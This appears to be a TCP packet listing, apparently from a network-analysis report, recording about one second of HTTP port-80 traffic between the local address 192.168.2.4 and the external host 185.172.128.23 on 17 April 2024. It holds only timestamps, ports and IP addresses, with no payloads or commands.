Apr 17, 2024 06:57:10.956414938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.956435919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.956449032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.956482887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.956485987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.956504107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.956541061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.013278008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.013317108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.013333082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.013346910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.013441086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.013441086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.014147043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.014183044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.014206886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.014218092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.014240980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.014250040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.014262915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.014301062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.014925957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.014962912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.014981031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.014997959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.015011072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.015029907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.015049934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.015077114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.015496969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.015532970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.015546083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.015568972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.015583992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.015602112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.015619993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.015649080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.016338110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.016375065 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.016391993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.016411066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.016422033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.016443968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.016469955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.016488075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.017266035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.017302036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.017317057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.017338037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.017365932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.017369986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.017381907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.017416954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.018115997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.018151999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.018167973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.018188000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.018201113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.018222094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.018238068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.018265963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.019134998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.019171953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.019188881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.019207001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.019223928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.019238949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.019252062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.019287109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.019834042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.019870043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.019882917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.019906044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.019929886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.019944906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.019956112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.019982100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.019990921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020018101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020031929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020055056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020064116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020087957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020106077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020133972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020555973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020606041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020642042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020678043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020690918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020716906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020730019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020752907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020765066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020788908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020802021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020824909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020838022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020857096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.020869970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.020905018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.021378994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.021415949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.021430969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.021452904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.021465063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.021486044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.021502972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.021538019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.022144079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.022180080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.022197008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.022216082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.022231102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.022248030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.022264957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.022299051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.022890091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.022929907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.022948027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.022967100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.022979021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.022998095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.023014069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.023034096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.023045063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.023070097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.023080111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.023106098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.023118973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.023138046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.023155928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.023185968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.023489952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.023525953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.023539066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.023561954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.023576975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.023595095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.023611069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.023642063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024200916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024236917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024255037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024274111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024287939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024306059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024322033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024353981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024672031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024708033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024722099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024744034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024758101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024775982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024794102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024811029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024822950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024846077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024857998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024882078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024893999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024914980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.024935007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.024956942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.090481997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090519905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090534925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090550900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090610981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.090616941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090611935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.090632915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090647936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090663910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090675116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.090679884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090694904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090698004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.090711117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090728045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090744972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090760946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.090760946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.090796947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.090938091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090955019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090970993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.090989113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091025114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091140985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091176987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091192961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091211081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091242075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091247082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091263056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091283083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091299057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091317892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091332912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091353893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091368914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091388941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091403961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091427088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091439009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091461897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091480970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091496944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091511011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091533899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091567993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091569901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091595888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091603041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091612101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091639042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091651917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091674089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091689110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091710091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091722965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091744900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091757059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091779947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091794014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091815948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091850996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091851950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091871977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091886044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091903925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091922045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091933966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091959953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.091974020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.091998100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092010021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092032909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092046022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092067957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092083931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092117071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092128992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092165947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092180014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092201948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092216015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092237949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092250109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092273951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092286110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092309952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092322111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092345953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092358112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092381001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092416048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092417002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092437029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092451096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092470884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092487097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092494011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092519999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092535019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092556953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092564106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092593908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092607021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092632055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092644930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092681885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092694998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092717886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092732906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092755079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092768908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092789888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092803955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092833042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092838049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092869043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092883110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092905045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092921019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092941999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092957020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.092978001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.092992067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093014002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093025923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093050003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093064070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093086004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093097925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093122005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093137980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093158007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093170881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093193054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093228102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093230963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093249083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093264103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093270063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093300104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093313932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093334913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093348026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093372107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093388081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093406916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093421936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093445063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093458891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093481064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093494892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093518972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093533993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093554974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093568087 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093591928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093606949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093627930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093640089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093662977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093682051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093702078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093713999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093738079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093751907 CEST	49730	80	192.168.2.4	185.172.128.23
